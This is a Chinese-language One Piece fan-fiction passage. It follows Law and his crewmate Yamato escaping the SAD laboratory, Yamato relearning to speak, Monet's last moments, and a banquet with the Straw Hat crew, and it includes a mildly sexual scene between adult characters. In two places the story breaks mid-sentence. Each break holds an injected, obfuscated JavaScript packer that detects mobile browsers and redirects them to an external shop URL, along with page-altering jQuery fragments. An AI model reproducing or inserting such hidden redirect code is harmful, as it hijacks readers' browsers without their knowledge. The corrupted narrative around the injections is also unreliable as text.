——‘也该早点将‘她’先处理掉,好让你在笼子里亲眼见证,也好帮你记起来,为什么‘小孩子’只配好好听大人讲话……’ 在SAD工厂中,维尔戈和电话里的Joker似乎为了诛心而一遍遍提及“当年”这样、“当年”那样。 ——活在旧日余梦里的老家伙们,以为不断拿当年的事来作谈资就能击溃他的意志,不过痴心妄想。 顶上战争后就连曾经的海上霸主都已经分崩离析,世间格局不动声色地酝酿改变。如今居然还有人忝着脸重提13年前的往事,简直可笑! 用2年时间冷眼旁观的罗已经看清:无论是重组兵力后的海军、背后操控的世界政府,以至表面上默默无声的四皇、海上其他打着不为人知盘算的势力,一切看似秩序平衡下处处皆是等待迸发的暗流。 如今他所要做的就是搅浑这池表面“太平”,将过去“嘀嘀嗒嗒”彼此制衡的齿轮斩断,让世间重新立个规矩。 所以说“当年”?——不过是快要被时代洪流冲走的人,有什么脸说当年。 - 可是他不久前才告诉Joker这些豪心壮语,等怀中搂抱暖烘烘的身躯、脸畔贴着厚实的白发时,一丝不该有的动摇还是浮现了。 就连维尔戈可笑的话好像也迟迟钻进他本该清醒的脑子……不对!大和不是唐吉诃德-罗西南迪的“替代品”! 即便是他亲口命令大和装聋作哑,这只是一项有着诸多实际功用的战术,事实上的确使大和得以被敌人长期轻视,不但敌人无法找他的身边人刺探情报,反而大和还能替他潜入不同情景下取得情报。 但是,身为医生的罗当然应该明白,如果一个人长时间不说话,会对身体和大脑造成什么影响。 正因为大和不是柯拉先生,不具备柯拉先生曾拥有的“静寂果实”能力,保持静默需要完全依赖主观意志。可以想见,他的船员为了克服此前多年张口说话的习惯,需要多大定力。 罗也似乎一直刻意忽视了不说话本身对人的伤害…… “别怕,这只是暂时的现象。任何器官长时间不使用都会出现退化,造成功能下降。” 无论身为医生还是同伴,他自然是这样安慰臂弯中丧失语言能力的人。 当然他也不会继续苛责船员,关于同盟将凯撒“揍飞”而不是抓住这一情况,他已确认责任极可能全在“草帽”路飞身上。 “只要重新恢复说话,大脑很快就又会习惯的。有我在,我会帮你练习,只要多练习就好了……没事的,会恢复得很快……你是会说话的,而且不是第一次学说话,很快就过去了。” 作为医生,他很快就能想到为帮对方恢复语言功能该做些什么,这不难。只要制定好复健计划,剩下的就只需交给时间。 作为船长,他也绝不会丢下自己的船员不管——不要说变成真正的哑巴,就算变成真正的傻子——从此以后只要他多活一天,便会继续扶持同伴一天。 但作为恋人……帽檐阴影下的眼睛有些愣神。凭一向令他自信的头脑,竟想不出该怎么弥补对方所作的牺牲。 而这牺牲,很大程度上还是基于他的要求。这是多可怕的一条认知,令他自己都不由得恶心…… 在同盟海贼团的“黑足”聒噪的抗议声中,罗默默陷入难以言喻的震撼,不由得又搂着恋人多停留了几秒。 就像怕松开手可能便没机会再这么抱着对方那样。 “罗,”好似小孩子首次开口讲话却只先学会了一个名字,耳边的恋人、船员、同伴反复用比上一次更清晰的发音轻声叫到,“罗。” 身着柔软毛衣而越发温暖的人在用力回抱罗的同时,又轻轻拍了拍他的后背。 而他也就像听到了“小鸡”破壳后的第一声啼鸣,心尖一颤,才萌发的想法转眼被他亲手挥散——不,不行!就算想破头,他也不放手…… “罗。”怀里的人还是这般重复,但这次却是主动从他肩头离开,转而又拍拍他拦在腰后的手。 “好……了。”大约意思是叫他可以松开。 “不。”他下意识地拒绝。 “罗……”白发人面露忧愁。 其实对大和来说,就算永远不能说话也没关系——不过他也相信罗既然敢打“包票”就一定没问题——虽说最开始以为自己说不了话的时候也惊恐了一阵,甚至还给同盟海贼们表演了一把“颜艺”,但是当冷静下来后,他意识到自己并不怕。 反倒有些担心罗在说“别怕”时,实际上可能是在恐慌。 无论是对方抱住自己前短暂流露的神色,还是竟会当众目睽睽忽然拥抱自己这件事本身,在他看来都有些反常。 大和知道:罗很好面子的,讨厌在外人面前表现出任何柔软的一面。 在罗的影响下,他如今也渐渐学会了注意场合。 为了维护船长的形象,再也不像过去那样“顶嘴”是基本的。即便有着恋人的身份,除非极少数情况,也不会在人数众多时表现得太亲密——就像现在。 虽然他并不讨厌船长主动靠过来,奈何现在不是时候。“罗,带……大家……逃。”他费劲地组织了语言,与此同时也发觉一旦开始说话,确实还是能很快找回发音的方法。“还有,C……C……”——还有要尽快抓获凯撒。 “……该死。”总算听到船长在他耳边咬牙切齿,他也就基本放心了。 果然,接下来很快又听见恢复气势的命令口吻: “白猎当家的,快让所有人现在乘上运输车。必须通过岛上的运输路线逃到港口才算脱险—— “草帽当家的,你们的人也是,立即给我上车出发,必须尽快找到你揍飞的凯撒才行;如果人逃了,后面的计划就算泡汤,所有账我都会算在你头上。” 话音刚落,两旁的海军中将与海贼船长还没什么异常反应,先蹦出来的是被同伴拉住许久恨不得给同盟一套组合绝技的金发厨子: “混账七武海,说话客气点!还有,吆五喝六的时候就别赖在可爱的白发‘小姐’身上了——这算非礼!非礼!!” 反正有草帽团的绿发剑士在旁拽着,红心团船长直接靠意念屏蔽了噪声来源,继续分毫不差地指挥海军、海贼、以及获救的小孩子们都登上足以承载所有人的SAD运输车。 - 罗还是稍体现出了顾忌,在接下来“黑足”山治所形容的“吆五喝六”中,终究放开了臂弯中的船员。 只不过是在此过程中一直抓着旁人的手腕不撒手罢了。 直到全员到齐,运输车滑入轨道,于坡道上飞驰。 阴风在甬道穿行,不断坍塌的研究所在身后远去,伴着不知何时会从哪里落下的碎石,也伴着本该对立的海兵与海贼们行动莫名默契地保障路途顺利。 原本大和只是将手掌扶在运输车表面,维持高速行进下的平衡。不久也发觉有张温暖的手掌不轻不重地覆在他的手背上,和他扶在同一位置上——不用猜,他也知道那是谁。 凭借着研究所方向传来的一点微光,男海贼抬眼看去: 这条路很长,长到他几乎可以回想起从数月前刚登岛开始到如今发生的许多点滴。而在此过程中,始终对他而言最重要的船长就在身边,此刻也像许多时刻一样,目光就坚定地朝向前方,仿佛亲自守望终将出现的天光。 这才是他所熟知的罗。他感到能稍稍放心一些了。 ——好在,他也只是暂时失去说话的能力。至少还能听到、闻到、见到,像一直以来那样,继续见证帅气、温柔又厉害的船长在前进中的模样。 船员明白船长有多不愿意被人看到自己的脆弱,即便事实上也有着许多柔软可爱的模样——关于这一点,大和多少还是有点“发言权”的,只不过会悄悄珍藏就是。 当然,他也真心希望船长可以一直像头高傲美丽的野兽那样,永远从容且无畏,在海上这片强者丛林里昂首前行。 虽然他喜欢罗对自己的关心,但不希望因为自己的问题造成对方的恐慌。 恐慌会造成不信任,他知道。科斯莫岛的伊德海拉就使他清楚,当人缺乏足够的安全感,便会有谎言诞生。而恐慌下的谎言则又可能引发更多不可预计的后果。 无论出于对现实得失的考虑,还是自己的一点私心,他都希望船长可以一直信赖他,不会为他而惊恐不安,更不会因此瞻前顾后。 为此,大和会继续为罗保驾护航,试图给对方充足的安全感。应该…… ——也还可以看着船长走很远吧。 - - 研究所内,禁区仅存的爆炸自毁装置旁,鬈发女人虽有一对宽阔的羽翼,却再也飞不出不断崩塌毁灭的屋檐。 就像她说过的——为那个人献上一切是注定的。 莫奈要带着岛上所有的海军、海贼……哪怕是无辜的孩子们一同赴死。在不再有时间流动的彼方,她会守望心目中最优秀的男人成为海贼王。 为此,任何人,包括她自己,都可以被牺牲。 耳听电话虫通过念波传递的声音,儿时正是声音的主人给了她活下来的新生,刚好也将是今生伴她走向终结的人——这是她的心之所归。 莫奈的思绪又幽幽地回到今日早先,记忆里也有在她看来与她如此相似的人: 当亲手将不肯说话的白发青年从办公室丢出去,那时她以为特拉法尔加-罗是试图和Joker对立的又一位输家,而作为输家的同伴自然也只能“陪葬”。她竟在短暂的工夫里还为对手感到哀伤。想不到,没过多久情势逆转,她就彻底败在他手里。 目送他匆匆离去的背影时,其实她很羡慕,不仅是钦慕他的实力之强,也羡慕他获胜后就可以去见重要的人。 抛开敌对立场,她真地蛮中意那个温柔又有点呆呆的男孩子——是男人吧,的确不是女人;从对方不再隐藏实力后的情况来看,无论力量还是注视对手的眼神,都更像英武的男人。 只不过是不同类型的“中意”罢了。 在这个世界短暂的相处时,确有很多对不住的地方呢。那就让他们到另一个世界再试着重新建立关系,好不好呢? 她会好好向大和道歉的。 到那个不需要再为大人们的糖果而努力的地方,好好相处吧。 “少主……”想到彼岸或许并不寂寞,而她将为世间所爱的人们带走忧患,莫奈便又露出了满足的微笑,像口含糖果的孩子那样,对远在德雷斯罗萨的“大人”致意,“再见。” 羽翼末端在按下自毁键的前一刻变成真正无害的羽毛,轻飘飘地从操作台滑落。装置毫无改变,世间也未曾因她改变。 金瞳有些困惑,转眼间也有不甘与失落——很遗憾命运选择了别人,而从未选择她。那好吧—— 她先去等着。 - - 研究所方向突然传出剧烈的爆炸声,连甬道里都接连落下碎石。大和略微一惊,握在手背上的手掌便又用力一分。 “应该是从D栋传出来的。我走之前毁掉了Joker重要的商品原料SAD的生产装置,估计是机器爆炸了。”罗在耳边告诉他自己的推测。 “……原来如此。” ——什么嘛,他自己刚刚居然露怯了。偏偏还是在考虑如何给船长安全感的时候。逊毙了。 “话说,刚才一直没来得及问,”熨帖好听的声音继而贴着耳畔道,有几分刻意压低的调笑,“你为什么还是这副打扮?难不成也算某种‘情趣’么……” 昏暗中,有人故意拽了拽他身上的带子,不轻不重的力道带着难以言喻的暗示意味。 白发青年一怔,这才意识到自己从被打断做饭的进度直到现在,还穿着厨房的围裙。 “啊,饭……”他转过头来之时也在努力调动口腔中细微的肌肉,找准发音点,“……饭团。” “饭团?”旁人低沉的声音有明显的疑惑,顿了顿,才幡然领会,“哦,你真地去做了。”罗想起来确有自己今早起床后说想吃饭团这回事。 “嗯。”大和点点头,他想说自己可是很认真地按照菜谱拌好了米饭,还准备了不同的馅料——不过这么多的内容,对于还未完全恢复语言功能的他来说有点难度。只好一言以蔽之:“可……惜……” “确实可惜了。”罗侧首打量暗处还只能辨别轮廓的剪影,忽地柔和地笑了笑(或许大和更该可惜的是此刻看不到才对),“只能辛苦你之后从头再做了。” “可以……哦。”他就像牙牙学语的孩子那样迟缓,答应地却毫无迟疑。 未察觉身旁男人的眸光又温柔了几分,大和在等待看到出口前脱下围裙,却因为低头时发觉鬓旁好像被亲到,他呆了一下,有什么东西从围裙口袋里掉出来了,没能及时接到。 ——不是吧?“大猫咪”突然在这么多人中间“撒娇”,害他心脏差点停掉。 愣了几秒才摸黑找到掉在脚下的便携小本,起身再看时身边的男青年好像已经将头调开,只用毛绒绒的帽子冲着他的脸。 呜……他也好想亲。船长太淘气了! 可眼下不是好时机。漆黑的甬道前方还有不为人知的危机—— 疾速下坡的轨道途中,爆炸引发一连串巨石下落挡住去路,好在同盟中的剑士一马当先将阻碍斩开; 毒烟从出口和炸毁的研究所两个方向逐渐渗透,无孔不入地夹击甬道,又幸得同盟中的航海士有信心操控风予以驱散。 ——这么看,同盟似乎非常可靠呀! 好像余下也没什么遗留的担忧了。在一片因众多生命共同期冀而显得震耳欲聋的静默中,与承载众生向前滚动的轮轨摩擦中,路的尽头已经出现光亮。 天光不断变大,大和察觉到罗攥着他的手掌也在一点点收紧。 果然起风了,飓风从橘发航海士的武器中喷涌,冲散毒烟,也护送所有人一同冲出身后的“死亡国度”。 当港口清冽明媚的晴日落入视野,结局为所有人异口同声:他们得救了! - 罗要抓获的目标凯撒就躺在港口动弹不得——看来路飞也把他揍了个够呛——但问题是港口还出现了两个多余的人影。 “巴法罗?该不会……还有Baby-5!” 大和感觉到手背上一松,旁人已经提刀走上前,他也就立刻紧跟其后定睛细看:港口上站着一个身形滚圆、发行奇特的龅牙男人,旁边则还有一位身穿紫红色女仆装的抽烟女人。 “——罗?你果真在这里!你确定要背叛Joker吗?”来者也认出了走到前方来的戴帽子的青年。看来双方至少是旧识。 听他们互相直呼名字,同盟的船长自然而然发问:“特拉男,你朋友吗?” “这两个都是Joker的部下,是敌人!” 罗的话已经说地很清楚,敌人也不傻,判明无法以两人之力同时对付一车的草帽团海贼、G-5海军与七武海罗,拣起地上的凯撒转身便逃。 龅牙男人八成也是恶魔果实能力者,奇特的发型转眼就像螺旋桨一样飞速旋转,连自身带女搭档和凯撒一溜烟飞向空中。不过没飞多远,也就被草帽团的航海士和狙击手联手击中,坠入海面。 “怎么样?特拉男,我们的同伴都很靠谱吧!”——说这话的是满面自豪朝同盟炫耀的草帽团船长。 罗自然不打算应声,奈何来不及阻挡身后突然伸出一只半握拳的手,外加明明口齿不清还非要说的:“靠……‘补’!” “——是‘靠谱’吧!”和罗一样握刀的剑士就站在其船长旁边纠正。 大和倒也从善如流,重复道:“靠——谱。” “这还差不多。”在笑得越发灿烂的路飞身后,索隆矜持地点点头。 罗听着刚建立的同盟之间没啥价值的交谈,拉过船员转身就走,撂下句:“赶紧叫人把那3个混蛋打捞上岸。” 绿发剑士回首用视线跟过去,半晌想出一对形容词来:“‘冷漠脸’和‘没心眼’么?” 不料近处忽然传出笑声,听着不像是对索隆所说的话表达赞成,证据就是当他转头望去时,罗宾也刚好在笑眯眯地打量他、以及在他不远处笑得半张脸都是大白牙的船长。 ——有什么好笑的吗?奇怪的女人。 - - 被同盟海贼形容为“没心眼”的男人已跟着“冷漠脸”的船长从车上下来。就着港口的晴日,大和不经意地低头看了眼手中攥的围裙并写字本。 ‘饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268278|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团做好也可以让我尝尝嘛?’ ‘Kiss Kiss’ ——小小的本子原是他同别人交流时写字用的,可打开后末页上却并非他的字迹。是谁,在什么时候写的呢? 似乎只有在厨房料理时察觉到“女秘书”曾悄悄拿走。大和猛然想起,在饼干屋分出胜负后,就没再看到莫奈。她会不会还在研究所? 他对莫奈并无特别的恶意,只是立场不同。交战中即便他出手认真了,也不过出于不想轻敌留下后患,但并未下死手。 ——莫奈小姐真让人搞不懂啊……如果那时就告诉他的话,他应该就会把饭团样品直接给她尝了,何况第一次动手做本来也需要别人的建议。 明明是敌人,但奇怪地很温柔;虽然人是温柔的,但对于凯撒的命令或者说为了背后的多弗朗明哥又会不择手段地做任何坏事。所以说到底,或许是因为她遇到的人不对么……? 大和知道生命有诸多可能性,但事实上从后果论来看,生命只会吝啬地向人展示一种可能。 ——莫奈小姐会有办法活下去吧? 他还是希望任何人,哪怕是敌人,都有办法活下去。毕竟活下去才有机会找到使生命完整的可能性…… 也才有机会遇见其他神性圆满的人呀。 “就近找间屋子,”一贯吩咐式的口吻传来地恰是时候,“剩下的就还有这一个问题——过会把那群孩子带过来,出发前我亲自检查一下。或许积攒在体内的过量药物也可以用手术稍作清理。” “嗯!”青年立刻兴高采烈地点点头,即使他张口说话时会显得口齿缓慢而“愚笨”:“太好……了,有……罗……” ——他相信有罗这么好的医生在,孩子们很快就会好起来。 朱红的眼睛遇见回眸的星尘,他敏锐地发觉对方情绪似乎有些复杂和忧郁,立即下意识地关心:“不开……心……嘛?罗。” 他如今只能作些最简单的表达,但还是努力地张嘴说话,就像外科医生所建议的那样“多练习”。 不过倒是在念罗的名字时愈加熟练和清晰。 罗也注意到这一点。 “我今天初次见草帽当家的和船员相处的模式,”沉吟片刻,他还是将想到的事说了出来,“他们之中也有人想救那些孩子,草帽当家的了解之后就一口答应了。” “唔。”——听上去同盟的海贼中也有温柔的人。 “打杂的。”走到一桩看似像仓房的门前,罗转身站定,直视琥珀似的明眸。“我一直都没有问过你想要什么,也不知道你喜欢什么,两年间从未替你做过任何事……”他微微停顿了一下,郑重道:“委屈你了。” 说罢,鼻尖以下藏进了大衣领中,星尘灰的眼瞳也半藏在更深的眼睑下。 ——说着“委屈”别人了的话,可事实上自己可怜得也就像个受委屈的孩子嘛。 站在罗面前的青年感到一股真切而柔软到令人心头一酸的爱怜涌了上来,忽然间令他觉得就算捧住对方漂亮的脸,也恐怕那双注视过许多次的眼会像雪一样化了。 没想到罗会突然说这些,不免也太见外了——但这句话太长又太复杂,他很快就已判断自己没法顺利清晰地表达。 “做过,”他还是先选简短的话说,“莉……娜;艾斯……海……贼。” “什么?跟这些有什么关系……”罗又抬起眼来,疑惑地看看他。不过转眼似乎也猜到他的意思,“哦。那个小姑娘都是两年前的事了;‘火拳’又是你自己去救的;海贼……是什么意思?” “托罗的……福,我才出……海……”——而且他的意思并不是谁去救艾斯的问题,而是在故友死后,他因罗才获得了慰藉——也罢,太多的内涵今后慢慢再掰扯吧,眼下能讲清一件是一件,他不打算贪心,直接捡重点:“船……长……最棒!” ——罗是最优秀的,最完美的船长。 点点头像是认可自己所作的表达,大和接下来也确切解答起罗刚刚提到的问题之一:“喜欢的……是……船长,你,还有……O……den。” 罗一怔,猝不及防听到告白令人脸热,但他也还是嘴硬道:“所以你拿我跟食物相提并论么?”却在唇畔先露出笑来。 注视他的样子,朱眸也涌现不加掩饰的笑意。 大和暂时不打算解释在自己记忆中刚好有另一个名字与“关东煮”(O-Den)有关,甚至于读音也相同。此刻他更想珍视眼前人。 “唔。船长……更……美味。” “住口。傻瓜。” 注意到又抬起来的下颌与上弯的双唇,青年生出不合时宜的心思。但将近两年的沉默让他学会了按捺自己,还是先由衷地告诉对方:“答应……的事,不……委屈。” 海贼船长不禁深深地看了他一眼。 说来也怪,罗在这时突然回想起同盟那位船长炫耀同伴实力时的“嘴脸”——这一刻他好像共情了那种自豪感。 ——他家的船员才是真正的优秀! 他完全有信心大和的实力足以盖过同盟所有海贼……或许那个1亿2千万的“海贼猎人”能稍微等量齐观。不过若由他来制定悬赏,给他家船员的金额可绝对不止这个数目。 而且他家船员也最帅气可靠不过,超出同盟,当然更超出敌人,也超出所有人。 海贼船员这时又开口,船长便怀着为之骄傲的心理再耐心听下去:“实际,罗已经……为我做了……很多。” “嗯?”有吗?他怎么不记得。 ——不过没关系,如果真地做了,忘掉也不可惜。毕竟罗打算今后还要继续加倍疼他。 然而或许只是那人原本就含混不清的言语,反而令听者忽视掉口吻中的暧昧。 大和没急着回答,只是笑笑,转而主动牵过黑色大衣的袖口,引他的船长走入近旁仓房: 宽敞的空间暂未堆放太多仓储,看起来也还算干净,应该会适合作为给孩子们临时体检的地方。 何况也能满足一定的私密性——他“代为”尝试了一下,在这里就算将船长抵在墙壁上多亲一会,也不会受到干扰。 当然现在不是做“这种事”的时候,何况时间也不算充裕。 他就先在船长红透了的耳朵、滚烫的腮边、脖颈与锁骨轻轻咬几口,以证实“船长很好吃”这件事确切无误。 至于细喘之中略微变得幼嫩的叫(骂)声就太可爱了,可千万不能从窗缝、门缝传到外面去: “……蠢‘狗’,我现在就先把你切开……唔嗯……” 帽子被他不慎蹭掉,男人的埋怨却太不够严厉——“害”他得意忘形,又继续僭越欺负骄傲的“大猫咪”。 “唔……够了吧……打杂的……” 可爱这个词继船长的名字之后,成了他恢复说话期间第二个能清晰而熟练的发音——不然又该怎么形容罗在他眼里的样子呢? 他也知道这么做很过分,但还是将手掌从大衣中伸进去,探入今早才见对方新换的T恤。 紧绷起来变得硬邦邦的肌肉耸立处,指腹轻轻挑弄,就像启动了什么开关一样,同时间立刻见到睁大的眼,也发觉了臂弯中的轻颤。 “啊……”好听极了。幸好他及时松口了才能听到。 看嘛:其实他从船长这里也得到了很多的。就像他早先对“女秘书”莫奈曾否认的那样,他不是罗的什么“情人”——而是真正的恋人。 “——行了!这么不合时宜的地方,你还要怎样?!” “野兽”已经露出獠牙开始凶他,只不过“爪子”几乎不见挣扎,眼神多少也会让人误以为像期待“喂养”就是。 “嘻嘻。”大和缺乏歉意地笑着,捧住手掌中英俊漂亮的脸庞。小拇指轻轻碰到了光滑的金质耳环,双唇最后在微蹙的眉宇间落下一吻。 转手替船长重新拢好衣领,他这才不怕自己说话时的口吃太破坏氛围:“谢谢……罗……我去叫……孩子……们。” “……快去!” 被凶跑的青年脚底抹油般闪出门去,留下的人才有空闲缓缓蹲坐下来喘息。 脸蛋埋进捡起来的帽子里,充血的唇躲入大衣毛领,平复着过高的体温与高频次的呼吸。 也不过才几秒过后,高领间溢出一串低低的轻笑声,出卖了他的好心情。 42.piece 42-兴风作浪的同盟与宴会 没想到刚逃出生天,草帽团宣布在港口立刻抓紧时间召开“宴会”。 大和有点诧异,不过他说话还不利索,就不表达想法了。罗已经提醒过了,敌人随时都有可能会来,但愿红心团海贼们的同盟们还是听进去了吧…… “喂。”正出神考虑的时候,2个人影毫无预兆地站在面前,大和没有事先察觉到恶意,故而也就未加戒备,只听:“既然闲着,那就过来搭把手。” 他抬头看去,同盟海贼团的剑士正好朝他的方向立着手背招了招手,与之同行的是老派绅士打扮的一架“白骨”——“灵魂之王”布鲁克——似乎正诧异地打量同伴。 细想来,大和也不知道自己是怎么从骷髅头的面孔上看出“诧异”的。不过从骨头接下来发出的语气听来,他应该是没猜错他的情绪。 ——“索隆桑?” 作为同伴,索隆大致能想到布鲁克为何对自己的做法有疑问,但他随口敷衍:“我刚好有点问题,需要找些证据支持……” 两名男海贼正说着,已见原本呆坐在木箱上的高挑“女人”站了起来,比索隆高,但比布鲁克矮。 “需要……我做……什么?” 听着像口吃的言语,索隆还是先于同伴之前开口:“唔,终于理人了啊。” 白发像雀尾那样呈渐变色的人哂笑着,摊开双手同时实话承认:“那个……时候,忘掉……说话了。” 这指的是在研究所里和草帽团等人一路从A栋逃至B栋的过程中,他一言不发,即便后来在饼干屋刚好有一对一交流的机会,也没有回答剑士的任何言语。 “嗯?难道说,其实有语言上的障碍嘛?”布鲁克善意地询问,好像怕吓到对面看起来脾气很好的大眼睛年轻人。 大和确实也温和地笑笑,点头答:“暂时会……这样。”——他可是毫不动摇地相信自家船长兼优秀医生所言,应该很快就能恢复正常,“没……问题。” “呜,真是温柔的好孩子啊。我都心疼了。”手骨覆上该是心脏位置的左胸口,“——啊,虽然我没有心脏的说,哦吼吼~” “行吧,你跟我去桑尼号。”索隆摆摆手招呼算是一度为他所认可的“友军”,表明了意思,“路飞要开宴会,你跟我去抬些物资下来。” “好。”大和点点头,也就爽快地跟过去了。 布鲁克目送临时搭档的“物资搬运”2人组,自言自语道:“啊……虽说我觉得让可爱的年轻‘小姐’搬东西有点不太像索隆桑的风格,嘛,难道其实是要说什么悄悄话嘛?哦吼吼~其实不会真地使唤‘女性’吧,索隆桑。” 然而等到看见离去的绿发同伴和白发“大力士”再从甲板上下来时,布鲁克才惊得眼珠子都要掉下来——即便他也并没有眼珠子—— “嗷——索隆桑!怎么可以让‘女性’扛这么重的水桶?!这可怎么得了!”布鲁克手忙脚乱地跑上前,似乎有意将半人高的橡木桶从他以为的“女性”手中接过来,结果又突然刹车:“啊但是我这把老骨头也实在接不动……索隆桑!你怎么能让人家举着我都拿不动的重物啊?” 肩扛一大袋重逾百斤以上的块茎与肉,剑士用空着的手掏了掏耳朵,面露不耐,“我让这家伙自己挑,结果选的是那桶酒,我有什么办法?” “原来如此……不对嗷!你还真地让人家帮你搬物资,太不温柔了,就算年轻‘小姐’力气再大,这种事也该男人来干啊!” 剑士回答:“那你来。” 骨头回答:“我搬不动。哦吼吼~” “那个……”一只修长的手掌抬了起来,引起讨论中的2人注意。然后只听扛着应该有200升以上的酒桶之人慢慢说到:“我……就是……男人哦。” 剑士和骨头同时转过头来。 前者面露诧异后接着就像得到了什么保证一样露出轻松的坏笑,后者则定格了几秒后……就这么定格在了那里。 “接着走吧。”新添的认知就好像让索隆松了口气那样,招招手继续带友军朝同伴厨子所在处进发。 顺便他也坦白了一件事:“既然你认同自己是男人,以后如果作为敌人,我可就不客气地砍你了。” “这样啊……”原来同盟的海贼之前纠结过能不能砍自己的问题——大和想起在研究所干架时,剑士的确说过“不砍女人”——原来这就是“武士道”。虽然不是十分理解,但大和还是点点头,认可了对方的话:“没问题。” 索隆不再说什么,闷声和临时友军一左一右,扛着足以喂饱港口上所有劫后余生之人的食物和淡水,然后不出意外又从“好色厨子”那里听到了和布鲁克相似的嚎叫。 ——就算临时友军摆着手又费劲地主动解释,厨子还是不会放过他的,他早有心理准备。 虽说应付起来很烦,但至少已经得到能让自己放心的好消息,还算不错——他原本还在考虑,如果终将成为敌人,难道自己该放弃一贯的原则?毕竟没法将这样的“强敌”真地丢给船上其他同伴—— 见识过白发人的实力后,索隆确信:为了给船长路飞扫清障碍,同时保卫他们的船,这种程度的对手(如果注定成为对手)必须由他亲自了结。 “对了,你叫啥?”无视了一边削土豆一边骂骂咧咧的厨子,剑士问帮他一起扛过东西,此刻又主动担起生火职责的人。 光顾着解释性别,却忘了自我介绍的人暂且放下烧火棍,顶着半张脸的炭灰转过头来:“大……和。” ——实力不错,可惜是口吃啊。 尚且不知内情的男人随即也报上姓名:“罗罗诺亚-索隆。”他认为这样才算公道。 大和虽然对草帽团全员的尊姓大名都已经熟知,听后也还是朝旁人点了点头,当作是种认可。 - - 在闹闹哄哄的宴会上尝到了超级好喝的热汤,从碗边抬起头时,大和简直感动到了。 “嗯!”大大的美人蕉色眼睛“噌”地亮起来时,他面前的草帽团厨子也差点在锅前昏过去。 “——嗷!Ymato酱~你太可爱了!” 就算是“臭”男人,这么可爱,他也完全可以——山治自顾自沉浸在热爱的海洋里。 “哦吼吼~确实呢~”在成功消化震惊消息后,骨头也到锅边凑热闹。 “话说,大和酱,你的左侧脸上有脏东西哦。” 浑然不觉之人将脸转过来,并未多想就接受布鲁克用手帕替他擦拭生火时沾上的炭灰,接着骷髅脸上神奇地浮现出两团可爱的红晕,并发出“哦吼吼吼~~——”的笑声。 “啊啊!太狡猾了!我也要,大和酱!来来,下巴上还有一点点,让我帮你擦掉噢~~~” “喂,你们差不多就行了。也真够恶趣味的……”索隆一脸嫌弃,感觉看不下去了,便毫不隐藏对两名好色同伴的鄙视,捎带手将白发友军“救”出来:“大和,你的船长好像从仓房那头出来了,去看看吧?” “唔,好。”大和完全没意识到自己被两个奇怪的男人左右包围了,但听见剑士的提醒还是立刻点点头,刚要抬脚又转回来认真地发问:“我……可以再……带走……一碗嘛?” 金发厨子立刻收回飞向一旁的眼刀并中止类似“绿藻头”等咒骂,秒换成桃心眼,一面从善如流地盛汤,一面忙不迭地回答:“当然可以!你太礼貌了,不用这么见外的~~” “那我也再要一碗。”刚被骂过(不止一句)的男人也端起自己的空碗。 “——等着!绿藻,要说‘请’!” 在草帽团同伴之间不太好理解的友爱对话中,大和小心而灵活地端着热气腾腾的汤碗跑出来,远远还能听到背后诸如“他自己承认是男人了,你搞搞清楚;”以及“即便如此跟你这种臭男人不一样!”之类的。 ——同盟的海贼们还真有趣呐,而且感觉也很友好呢。 “罗,汤。”跑到自家海贼团的船长面前,他又献宝一样递出特地盛给对方的食物。“手术……好吗?” 估计他为了说话方便尽量都在用简单的词,罗从他刚刚恢复讲话到现在的情况判断,也就大致有了关于复健方案的想法。 “嗯,手术没什么问题,把小鬼们体内的脏东西差不多都清理了一遍,之后就靠慢慢调养了。这是……?”他接过还有些烫手的碗底,顺便也伸出另一手,无比自然地从船员下巴上抹去炭灰。 红心团船员立刻笑容灿烂。“刚……做好的。山治……做饭很好……吃。” “‘黑足’?”——这么快就直呼名字了? “昂!我打算……找他学……饭团。”朱红眼睛神采奕奕。 船长低头轻轻吹过碗边,尝了一口,客观承认:“确实不错。” 大和也就笑着拉住他,一面走,一面磕磕绊绊道:“还有很多……好吃的……辛苦了,罗。” 白发人大概真正想表达的内容不止这些话,或许实际想说的是折腾了大半天,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282325|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了场手术,太辛苦了,会不会饿了,多吃点东西吧……但是到了嘴边却只能蹦出几个词。 罗不由得看看他,眼神还是难免忧郁。 反手握住拉着自己的手,医生温和的口吻只给这一人听到:“眼下只是同盟,没法太麻烦他们。等去过德雷斯罗萨,接下来再去佐乌就可以回到我们自己的船上了。那时我再好好替你检查,这几天先再忍一忍。” 大和回头朝他开朗地笑笑,也不知道是想到要和同伴们会合了,还是也察觉到船长的情绪反过来安抚他,总之那笑容可爱到能立刻驱散见者眼中的阴郁。 “啊嗯!”白发人又点点头。 观者的星灰色眸子便也浮现出些许笑意。 走近支着临时火灶与大锅的打饭处,渐渐又听到草帽团主力间的对话,听起来像是也包含了对同盟的“指指点点”: “——看吧!色厨子,人家就是给船长亲自送食物去的,不是被我支走的!你也少自作多情,他都已经说了是男人。” “——该死绿藻,吃饭的时候就给我闭嘴!要不是你故意提醒,大和酱会突然跑过去给阴沉男送饭??可爱的大和酱,我差一点就碰到了……” “——呜哇,你恶心死了!” “——闭嘴,别把食物喷的到处都是!” 罗莫名其妙地听了几句,总感觉自己好像被提到了,用的还不是什么好词,“他们在说什么?”他只能问手边的船员。 大和摇了摇头,“刚刚……就这样。可能感情……一直很好……”所以才有说不完的话吧。 “哦吼吼吼~~正解。” - - 